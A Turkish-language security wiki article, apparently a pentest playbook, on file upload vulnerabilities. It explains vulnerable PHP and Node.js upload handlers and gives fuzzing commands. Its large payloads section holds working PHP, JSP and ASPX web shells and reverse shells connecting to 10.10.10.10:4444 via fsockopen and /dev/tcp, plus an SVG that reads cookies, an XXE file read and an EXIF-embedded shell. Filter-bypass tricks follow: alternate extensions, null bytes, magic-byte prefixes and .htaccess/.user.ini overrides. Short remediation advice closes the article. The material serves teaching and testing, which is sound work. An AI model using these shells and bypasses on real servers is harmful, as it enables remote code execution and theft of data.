File Upload Vulnerabilities
> Yazar: İlknur Şeyma Uzun
Dosya yükleme zafiyetleri (File Upload Vulnerabilities), modern web uygulamalarının en kritik ve stratejik zayıf noktalarından biridir. İster bir profil fotoğrafı (Avatar), ister bir e-ticaret platformunda fatura PDF'i, isterse bulut tabanlı bir depolama servisine yüklenen bir yedek dosyası olsun; dışarıdan sunucuya kontrolsüz veri transferi, Red Team operasyonlarında "Initial Access" (İlk Erişim) ve "Remote Code Execution" (RCE - Uzaktan Kod Çalıştırma) elde etmek için en verimli vektördür.
Modern mimarilerde bu zafiyet sadece basit bir .php yüklemekten ibaret değildir. Yanlış yapılandırılmış bir yükleme mekanizması; Cross-Site Scripting (XSS), XML External Entity (XXE), Server-Side Request Forgery (SSRF), Local File Inclusion (LFI) ve hatta hafıza tabanlı (Memory-based) zafiyetler olan Buffer Overflow veya Image Parsing (örn. ImageMagick) açıklarına kadar geniş bir saldırı yüzeyi sunar. Saldırganın sunucu dosya sistemine doğrudan müdahale etmesi, sistemin bütünselliğini tamamen ortadan kaldırır.
How It Works (Teknik Analiz)
Web protokolleri düzeyinde (RFC 7578), dosya yükleme işlemleri genellikle HTTP POST istekleri içerisinde multipart/form-data içerik tipiyle gerçekleştirilir. Sunucuya ulaşan veri bir "Boundary" (Sınır) dizesiyle parçalara ayrılır.
Sunucu tarafındaki süreç (örneğin Linux/PHP mimarisinde) düşük seviyede şu şekilde işler:
- HTTP isteği web sunucusuna (Apache/Nginx) ulaşır.
- Web sunucusu, dosya verisini işletim sisteminin geçici bir dizinine (genellikle
/tmp/phpXXXXXX) yazar. Bu noktada veri geçici olarak bellekte (RAM) arabelleğe alınabilir veya doğrudan diske aktarılabilir. - Arka uç uygulama (Backend - PHP/Node.js/Java), bu geçici dosyayı alır, belirli doğrulama adımlarından (varsa) geçirir ve işletim sistemi I/O (Input/Output) sistem çağrılarını kullanarak nihai varış noktasına (örneğin
/var/www/html/uploads/) taşır (move_uploaded_file()fonksiyonu gibi).
Zafiyetin kök nedeni (Root Cause), kullanıcı tarafından sağlanan "Metadata" (dosya adı, uzantı, MIME tipi) veya "Payload" (dosya içeriği) unsurlarının sunucu tarafından kesin bir gerçek (absolute truth) olarak kabul edilmesidir. Uygulama, dosyanın tipini MIME (Örn: image/jpeg) veya uzantı (Örn: .jpg) üzerinden doğrulamaya çalışırsa, bu veriler HTTP isteğinde saldırgan tarafından kolayca manipüle edilebilir. Ayrıca, uygulama motoru (Zend Engine, V8 vb.) hedef dizindeki dosyanın bir script (betik) olarak parse edilip (AST - Abstract Syntax Tree üzerinde) yorumlanmasına izin veriyorsa, RCE kaçınılmazdır.
Vulnerable Code Patterns
Aşağıda farklı dillerde yaygın olarak yapılan hatalı kodlama pratikleri (Anti-Patterns) gösterilmiştir.
PHP (Doğrudan Taşıma ve Uzantı Güveni)
<?php
// GÜVENSİZ: Kullanıcının gönderdiği dosya adını doğrudan kabul eder ve kontrol yapmaz.
$target_dir = "/var/www/html/uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
// Hiçbir MIME, Magic Number veya Extension kontrolü yok.
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "Dosya yüklendi: " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"]));
} else {
echo "Hata oluştu.";
}
?>
Hata: basename() sadece yol (path) manipülasyonunu engeller. Ancak shell.php gibi bir dosya adı doğrudan kabul edilir. Sunucu bu dizinde .php çalıştırmaya izin veriyorsa, saldırgan RCE elde eder.
Node.js (Express-FileUpload Zafiyeti)
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
app.use(fileUpload());
app.post('/upload', function(req, res) {
let sampleFile = req.files.sampleFile;
// GÜVENSİZ: Dosya adı kontrol edilmeden doğrudan public dizinine yazılıyor.
sampleFile.mv('/var/www/html/public/images/' + sampleFile.name, function(err) {
if (err) return res.status(500).send(err);
res.send('Yükleme başarılı!');
});
});
Hata: Node.js sunucularında .php çalışmasa bile, saldırgan ../../ payload'u ile Path Traversal (Dizin Atlatma) yapabilir veya .html yükleyerek DOM-based XSS elde edebilir.
Detection & Enumeration (Keşif ve Analiz)
Hedef sistemde dosya yükleme zafiyetini sömürmeden önce agresif ancak sessiz bir numaralandırma (enumeration) yapılmalıdır. Kara kutu (Black-box) testlerinde amaç, hedefin güvenlik duvarı (WAF), IDS/IPS kuralları ve backend filtreleme mantığını (Error/Time-based çıkarımlar yoluyla) çözmektir.
Manuel Keşif Adımları:
- İstemci Tarafı Kontrolleri (Client-Side Profiling): DOM ağacı incelenir.
<input type="file" accept=".jpg, .png">gibi alanlar var mı? Geliştirici konsolunda form gönderimini yakalayan bir JavaScript Event Listener (örn:onsubmit="return checkFile();") var mı? - Davranışsal Analiz: Standart, zararsız bir
test.jpgyüklenir. Sunucunun yanıtı incelenir. Dosya yeniden adlandırılıyor mu (örn:[timestamp]_test.jpg)? Sunucu yüklenen dosyanın yolunu döndürüyor mu? - MIME & Extension Fuzzing: Geçerli bir dosyanın uzantısı
.pHpveya MIME tipiapplication/x-phpolarak değiştirilir. Hata mesajının verbose (detaylı) olup olmadığına bakılır.
Fuzzing Komutları (ffuf & Gobuster):
# Olası yükleme dizinlerini keşfetmek (Fuzzing /uploads, /images, /assets)
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://target.com/FUZZ -mc 200,301,403
# Dosya yükleme işleminden sonra, rastgele adlandırılmış dosyayı bulmak için
# (Özellikle PHP/Apache ortamlarında fuzzing)
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://target.com/uploads/FUZZ.php -mc 200
Attack Vectors & Exploitation (İstismar Vektörleri)
Overwriting Existing Files
Eğer uygulama, yüklenen dosyaya benzersiz (unique) bir isim atamıyor ve mevcut izinler de yeterliyse, sunucudaki kritik dosyaların üzerine yazılabilir.
- Method: Örneğin, bir profil resmi
images/profile.jpgolarak kaydediliyorsa, kendi hazırladığımızprofile.jpgisimli dosyayı yükleyerek mevcut resmi değiştirebiliriz. Bu, Phishing senaryolarında logo değiştirme (Defacement) veya.htaccessdosyasının üzerine yazarak sunucu yapılandırmasını manipüle etme amacıyla kullanılır.
Web Shell Upload (Direct Execution)
Sunucunun arka planda kullandığı dile (PHP, ASP, JSP, Python, Ruby) uygun bir betik yükleyerek doğrudan RCE elde etmektir. Hedef dizin çalıştırılabilir (executable) izinlere sahipse, web sunucusu (Apache, Nginx vb.) dosyayı bir web sayfası gibi sunmak yerine betik motoruna (PHP-FPM vb.) gönderir.
- Method:
shell.phpyüklenir. Sonrasındahttp://target.com/uploads/shell.php?cmd=idadresine gidilerek komutlar çalıştırılır.
Reverse Shell Upload (Interactive Shell)
Web Shell'in yetersiz kaldığı durumlarda (WAF'ın HTTP yanıtlarındaki çıktıları engellemesi vb.) hedef sunucunun saldırganın makinesine TCP/UDP üzerinden aktif bir bağlantı açmasını sağlamaktır.
- Method: İçerisinde soket programlama mantığı olan bir betik yüklenir. Saldırgan makinesinde
nc -lvnp 4444ile dinleyici (listener) açılır ve dosya tetiklenir.
XSS & CSRF via File Upload (DOM & HTML Exploitation)
Eğer sunucu sadece .html veya .svg gibi dosyalara izin veriyor ancak script çalıştırılmasına (.php) izin vermiyorsa, XSS (Cross-Site Scripting) vektörü kullanılabilir.
- Method: SVG dosyaları XML tabanlıdır ve
<script>etiketleri içerebilir. Yüklenen bir.svgdosyası doğrudan tarayıcıda açılırsa içindeki JavaScript DOM Tree üzerinde çalışır ve kullanıcının oturum çerezleri (Cookies) çalınabilir veya CSRF saldırıları tetiklenebilir.
XXE via File Upload (XML External Entity)
SVG, DOCX, XLSX veya PDF gibi iç yapısında XML barındıran formatların yüklenmesi durumunda, sunucunun XML parser'ı zafiyetliyse XXE tetiklenebilir.
- Method: İçerisine dış varlık (External Entity) tanımlanmış bir SVG dosyası yüklenir. Eğer backend bu görüntüyü işlemeye çalışırsa (örn: boyutlandırma),
/etc/passwddosyasını okuyup saldırganın sunucusuna gönderebilir.
LFI & Path Traversal via Upload
Dosya adı parametresinin (Filename parameter) kontrol edilmemesinden kaynaklanır. Dosyanın kendisi zararlı olmayabilir, ancak kaydedildiği "yer" zararlıdır.
- Method: HTTP İsteğinde dosya adı
filename="../../../../../var/www/html/index.php"olarak değiştirilerek, doğrudan ana sayfa dosyası üzerine yazılabilir.
Payloads & Advanced Commands
PHP Payloads (Web Shells)
// Basic GET Parameter Web Shell
<?php system($_GET["cmd"]); ?>
// Bypassing Disable_Functions (Using exec)
<?php exec($_GET["cmd"], $out); print_r($out); ?>
// Tiny PHP Shell (Short Open Tags - Bypass strict syntax filters)
<?=`$_GET[0]`?>
// In-Memory PHP Shell (Using file_get_contents & eval)
<?php eval(file_get_contents('php://input')); ?>
// (Usage: curl -X POST -d "system('whoami');" http://target/uploads/shell.php)
Reverse Shell Payloads
# Listener (Saldırgan Makinesi)
rlwrap nc -lvnp 4444
// PHP Reverse Shell (PentestMonkey Alternatifi, daha kısa)
<?php
$sock=fsockopen("10.10.10.10",4444);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
// JSP Reverse Shell (Tomcat / Java Environments)
<%
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/10.10.10.10/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"});
%>
// ASPX Web Shell (IIS / Windows Environments)
<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="Diagnostics" %>
<script runat="server">
Sub RunCmd(Src As Object, E As EventArgs)
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)
myProcessStartInfo.UseShellExecute = false
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments=xcmd.text
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
mystring=mystring.replace("<","<")
mystring=mystring.replace(">",">")
result.text= vbcrlf & "<pre>" & mystring & "</pre>"
End Sub
</script>
<html><body><form runat="server">
<asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>
<asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c whoami"></asp:TextBox>
<asp:Button id="Button" onclick="RunCmd" runat="server" Text="Run"></asp:Button>
<asp:Label id="result" runat="server"></asp:Label>
</form></body></html>
XSS and XXE via SVG Payloads
<?xml version="1.0" standalone="no"?>
<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
alert(document.cookie);
</script>
</svg>
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="100px" height="100px" xmlns="http://www.w3.org/2000/svg">
<text x="10" y="20">&xxe;</text>
</svg>
Image Metadata (Exif) Injector Payloads (Polyglots)
Eğer sunucu dosya içeriğini (getimagesize() vb. ile) sıkı bir şekilde kontrol ediyorsa, meşru bir görselin metadata kısmına PHP kodu gömülür.
# Exiftool kullanarak meşru bir görselin "DocumentName" veya "Comment" alanına shell enjekte etmek
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" meşru_resim.jpg
# Sonrasında isim 'meşru_resim.jpg.php' olarak değiştirilerek yüklenir.
Bypass & Obfuscation (Atlatma Teknikleri)
İstemci Taraflı Filtreleri Atlatma (Client-Side Bypass)
Filtre mekanizması JavaScript ile tarayıcı tarafında yapılıyorsa atlatmak son derece basittir:
- Tarayıcı Ayarları: Tarayıcıdan JavaScript tamamen devre dışı bırakılır (NoScript eklentisi veya DevTools üzerinden).
- DOM Manipülasyonu: Geliştirici konsolu (F12) açılarak
acceptparametresi<input type="file" accept="*">olarak değiştirilir veya validasyon fonksiyonları silinir. - Burp Suite Interception: Meşru bir dosya (örneğin
.jpg) yükleme formu üzerinden seçilir. Burp Suite ilePOSTisteği yakalanır (Intercept). İstek sunucuya gitmeden önce dosya adıshell.phpve içeriği zararlı kod ile değiştirilir. - cURL ile Direkt POST: Web arayüzü tamamen es geçilerek doğrudan API/Endpoint hedeflenir.
curl -X POST -F "[email protected]" http://target.com/upload_endpoint
Uzantı Kara Liste (Blacklist) Atlatma
Eğer sunucu sadece .php gibi belirli uzantıları engelliyorsa, alternatif veya eski uzantılar kullanılabilir. Sunucu yapılandırmasındaki regex eksikliklerinden faydalanılır.
- PHP Alternatifleri:
.php3,.php4,.php5,.php7,.phtml,.phps,.phar,.inc - ASP Alternatifleri:
.aspx,.config,.ashx,.asmx,.aspq,.axd,.cshtm,.cshtml,.rem,.soap,.vbhtm,.vbhtml - JSP Alternatifleri:
.jsp,.jspx,.jsw,.jsv,.jspf,.wss,.do,.action
Uzantı Beyaz Liste (Whitelist) ve Double Extension Atlatma
Eğer sunucu sadece .jpg, .png kabul ediyorsa, uygulama kodunun dosya uzantısını nasıl ayrıştırdığı (parse ettiği) sömürülür.
- Apache Zafiyetleri: Eski Apache sunucuları, tanımadığı uzantıları atlayıp tanıdığı son uzantıya göre işlem yapabilir.
shell.php.jpg(Eğer Apache.jpguzantısını çalıştırılabilir olarak görmezse, bir öncekine.php'ye geri döner.)shell.jpg.php(Geliştirici sadece contains(".jpg") mantığı kullandıysa bypass edilir.)
- Null Byte Injection (
%00): C/C++ tabanlı eski parser'lar, bellekte0x00byte'ını dizenin sonu (String Terminator) olarak algılar.shell.php%00.jpg(Filtre .jpg sanır, ancak işletim sistemi diskeshell.phpolarak yazar.)shell.php\x00.jpg(Hex formatında)
MIME Type (Content-Type) Spoofing
Uygulama sadece isteğin başlığındaki (Header) Content-Type değerine bakıyorsa, istek Burp Suite ile yakalanıp manipüle edilir.
- Orijinal İstek:
Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: application/x-php - Manipüle Edilmiş İstek:
Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/jpeg
Magic Number (File Signature) Spoofing
Filtreleme mekanizması dosyanın içeriğini okuyup, gerçekten iddia ettiği dosya türü olup olmadığını kontrol ediyorsa (örn. Linux file komutu mantığı), dosyanın ilk byte'ları (Header/Sihirli Sayılar) manipüle edilmelidir.
Bir PHP shell'inin en başına şu Hex değerleri / karakterler eklenerek filtre aldatılır:
- GIF89a Bypass (En Yaygın): Metin tabanlı olduğu için yazılması en kolay olandır.
GIF89a; <?php system($_GET['cmd']); ?> - JPEG Bypass: Dosyanın başına JPEG'in hex imzası olan
FF D8 FF E0eklenir. - PNG Bypass:
89 50 4E 47 0D 0A 1A 0Aeklenir. Hex editör ile yapılması daha sağlıklıdır.
.htaccess ve .user.ini Manipülasyonu
Eğer sunucu hiçbir şekilde .php çalışmasına izin vermiyorsa, sunucu yapılandırma dosyaları yüklenerek klasörün davranış kuralları değiştirilir.
- Apache
.htaccessYüklemesi: Yüklenen dizindeki tüm.jpgdosyalarını PHP olarak yorumlatmak için özel bir.htaccessyüklenir.AddType application/x-httpd-php .jpg - PHP-FPM
.user.iniYüklemesi: O dizinde çalışan tüm PHP dosyalarına (meşru dosyalar dahil) otomatik olarak zararlı kodumuzu dahil (include) ettirmek için:auto_prepend_file = shell.jpg
Remediation & Prevention (Önleme ve Savunma)
Dosya yükleme zafiyetlerini tamamen ortadan kaldırmak için (Defense in Depth) çok katmanlı bir yaklaşım benimsenmelidir:
- Strict Extension Whitelisting: Kesinlikle sadece beklenen uzantılara izin verilmeli. Düzenli ifadeler (Regex) ile dosya adının sonuna tam eşleşme aranmalıdır (
/\.(jpg|jpeg|png)$/i). - MIME ve Magic Number Doğrulaması: Dosya sadece uzantısından değil, aynı anda sunucu tarafında içerik analiz kütüphaneleri (örn. PHP'de
finfo_file, Java'daApache Tika) kullanılarak doğrulanmalıdır. - Rastgele Dosya İsimlendirme: Yüklenen dosyaların orijinal isimleri ASLA korunmamalıdır. Sunucu tarafında
UUIDveyaSHA-256hash kullanılarak yeniden adlandırılmalıdır (Örn:550e8400-e29b-41d4-a716-446655440000.png). - Execute (Çalıştırma) İzinlerinin Kaldırılması: Yüklenen dosyaların barındırıldığı dizinde betik dillerinin (PHP, Node.js) çalıştırılması (Execution) web sunucusu (Nginx/Apache) seviyesinde engellenmelidir.
- Nginx Örneği:
location /uploads/ { php_admin_flag engine off; # veya location ~ \.php$ { deny all; } }
- Nginx Örneği:
- Dışarıda Barındırma (Off-site Storage): Yüklenen dosyalar ana uygulama sunucusunda değil, Amazon S3, Azure Blob Storage veya tamamen ayrı bir cdn (Content Delivery Network) sunucusunda barındırılmalıdır.
- Zararlı Yazılım Taraması: Yüklenen dosyalar diske veya S3'e yazılmadan önce ClamAV gibi bir Anti-Virüs veya Sandbox mekanizması üzerinden geçirilmelidir.
Common Tools & Frameworks
| Araç | Fonksiyon | Komut Örneği |
|---|---|---|
| Burp Suite | Proxy üzerinden HTTP request modifikasyonu (MIME, Null Byte, İsim değiştirme). | (GUI tabanlı kullanım) |
| ffuf | Fuzzing ile gizli upload dizinlerini ve izin verilen uzantıları tespit etme. | ffuf -w wordlist.txt -u http://target/uploads/FUZZ.php -mc 200 |
| ExifTool | Meşru görsellerin EXIF/Metadata kısımlarına zararlı Payload (Polyglot) gömme. | exiftool -Comment="<?php system(\$_GET['cmd']); ?>" img.jpg |
| curl | Client-side filtreleri aşmak için HTTP POST isteklerini doğrudan terminalden atma. | curl -X POST -F "[email protected]" http://target/upload |
| hexeditor | Dosya imzalarını (Magic Numbers) manuel olarak manipüle etme. | hexeditor shell.php |
| PentestMonkey | Reverse shell komutları ve betikleri koleksiyonu (Özellikle PHP/Perl tabanlı). | (Payload kopyalama) |
Yazar: İlknur Şeyma Uzun · AltaySec Wiki — Türkçe güvenlik playbook'u.
← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv